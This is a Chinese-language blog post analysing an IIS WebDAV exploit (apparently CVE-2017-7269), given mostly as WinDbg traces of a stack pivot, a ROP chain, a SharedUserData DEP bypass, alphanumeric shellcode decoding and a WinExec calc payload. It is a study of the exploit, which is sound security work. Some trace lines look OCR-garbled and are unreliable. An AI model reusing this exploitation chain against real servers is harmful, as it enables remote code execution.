首先,在前面虚函数执行之后,会先进行stack pivot,随后进入rop。

```
0:009> t//stack pivot!!!
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
```

```
eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                               efl=00000246
rsaenh!_alloca_probe+0x42:
68016082 8bel mov
                          esp,ecx
0:009 > p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                    ef1=00000246
rsaenh!_alloca_probe+0x44:
68016084 8b08 mov
                          ecx,dword ptr [eax] ds:0023:680313c0=680313c0
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                    ef1=00000246
rsaenh!_alloca_probe+0x46:
68016086 8b4004 mov
                          eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f
q <000:0
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                    ef1=00000246
rsaenh!_alloca_probe+0x49:
             push eax
68016089 50
0:009> p//ROP Chain
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                    ef1=00000246
rsaenh!_alloca_probe+0x4a:
6801608a c3
                   ret
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                               efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e
                          esi
                   pop
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                               efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e50 5d
                  pop
                          ebp
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                               efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51 c22000 ret
                          20h
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e4f esp=680313ec ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
                                               efl=00000246
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
rsaenh!CPEncrypt+0x3b:
68006e4f 5e
                   pop
经过一系列ROP之后,会进入KiFastSystemCall,这是利用SharedUserData bypass DEP的一环。
0:009 > p
eax=00000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
```

eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3

```
eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                           ef1=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34
                      sysenter
0:009 > p
eax=00000000 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                            ef1=00000246
rsaenh!g_pfnFree+0x1a4:
```

68031460 56 push esi

0:009> dc 68031460

68031460 00560056 00410059 00340034 00340034 V.V.Y.A.4.4.4.4. 68031470 00340034 00340034 00340034 00410051 4.4.4.4.4.4.0.A.

之后进入alpha shellcode,这时候68031460作为shareduserdata,已经具备可执行权限。

Failed to map Heaps (error 80004005)

Usage: Image Allocation Base: Base Address: 68000000 68031000 68032000 00001000 End Address: Region Size:

rsaenh!q pfnFree+0x29f:

01000000 MEM_IMAGE Type: MEM_COMMIT State: 00001000

Protect: 00000040 PAGE EXECUTE READWRITE

这里由于url存入内存按照宽字节存放,因此都是以00 xx方式存放,因此不能单纯使用shellcode,而得用alpha

```
shellcode(结尾基友用了另一种方法执行shellcode,大家可以看下), alpha shellcode会先执行一段操作。随后进入解密部分。
0:009 > p
eax=059003d9 ebx=7ffe0300 ecx=68031585 edx=68031568 esi=68031460 edi=680124e3
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  ef1=00000292
rsaenh!q pfnFree+0x292:
6803154e 41
                   inc ecx
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  ef1=00000202
rsaenh!q pfnFree+0x293:
6803154f 004200 add byte ptr [edx],al
                                             ds:0023:68031568=e3
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031552 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  ef1=00000283
rsaenh!q pfnFree+0x296:
68031552 6b0110 imul eax,dword ptr [ecx],10h ds:0023:68031586=00540032
0:009> p
eax=05400320 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                  ef1=00000202
rsaenh!q pfnFree+0x299:
68031555 024102 add al,byte ptr [ecx+2]
                                            ds:0023:68031588=54
0:009 > p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031558 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                 efl=00000206
rsaenh!g_pfnFree+0x29c:
             mov byte ptr [edx],al ds:0023:68031568=bc
68031558 8802
0:009 > p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803155a esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
rsaenh!q pfnFree+0x29e:
6803155a 42
                   inc
                         edx
0:009 > p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155b esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
```

```
6803155b 803941
                      cmp byte ptr [ecx],41h
                                                      ds:0023:68031586=32
0:009 > p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g pfnFree+0x2a2:
6803155e 75e2
                     jne
                             rsaenh!g_pfnFree+0x286 (68031542)
                                                                  [br=1]
0:009> dd 68031580
68031580 00380059 00320059 004d0054 004a0054
68031590 00310054 0030004d 00370031 00360059
680315a0 00300051 00300031 00300031 004c0045
680315b0 004b0053 00300053 004c0045 00330053
可以看到,解密前,alpha shellcod部分,随后解密结束之后。
0:009 > p
eax=04d0035d ebx=7ffe0300 ecx=68031592 edx=6803156c esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                           ef1=00000287
rsaenh!g_pfnFree+0x2a2:
                     jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
6803155e 75e2
0:009> bp 68031560
0:009> g
Breakpoint 2 hit
eax=00000410 ebx=7ffe0300 ecx=680318da edx=6803163e esi=68031460 edi=680124e3
eip=68031560 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                           ef1=00000246
rsaenh!g_pfnFree+0x2a4:
68031560 b8b726bfca mov eax,0CABF26B7h
0:009> dd 68031580
68031580 223cec9b 265a2caa 6a289c9c 9f7c5610
68031590 90a91aa3 9f8f9004 beec8995 6120d015
680315a0 60351b24 30b44661 a56b0c3a 4eb0584f
680315b0 b3b04c03 65916fd3 87313668 9f7842bd
680315c0 14326fa2 fcc51b10 c16ae469 05721746
680315d0 7f01c860 44127593 5f97alee 840f2148
680315e0 4fd6e669 089c4365 23715269 e474df95
shellcode已经被解密出来,随后会调用winexec,执行calc。
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315f9 esp=680313fc ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
                                                           ef1=00000206
rsaenh!q pfnFree+0x33d:
680315f9 51
                      push
                            ecx
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b qs=0000
                                                           ef1=00000206
rsaenh!q pfnFree+0x33e:
680315fa ffe0
                      jmp eax {kernel32!WinExec (77ea411e)}
0:009> dd esp
680313f8 68031614 68031633 00000001 00000000
0:009> dc 68031633 12
68031633 636c6163 6578652e
                                           calc.exe
```

第二个参数是0x1,是SW_SHOWNORMAL,但由于服务无窗口,因此calc无法弹出。

其实,这个过程可以替换成其他的shellcode,相关的shellcode替换链接可以看我的好基友LCatro的几篇文章,都非常不错。

https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

最后我想说,我在深圳,刚才和几个平时网上的好朋友吃夜宵,聊到这个漏洞,没想到在几个小时前认识的彭博士,就是这个漏洞的作者!真的没有想到,还好自己分析的这 这篇最后还是没有按时发出,不过希望能和大家一起学习!谢谢阅读!

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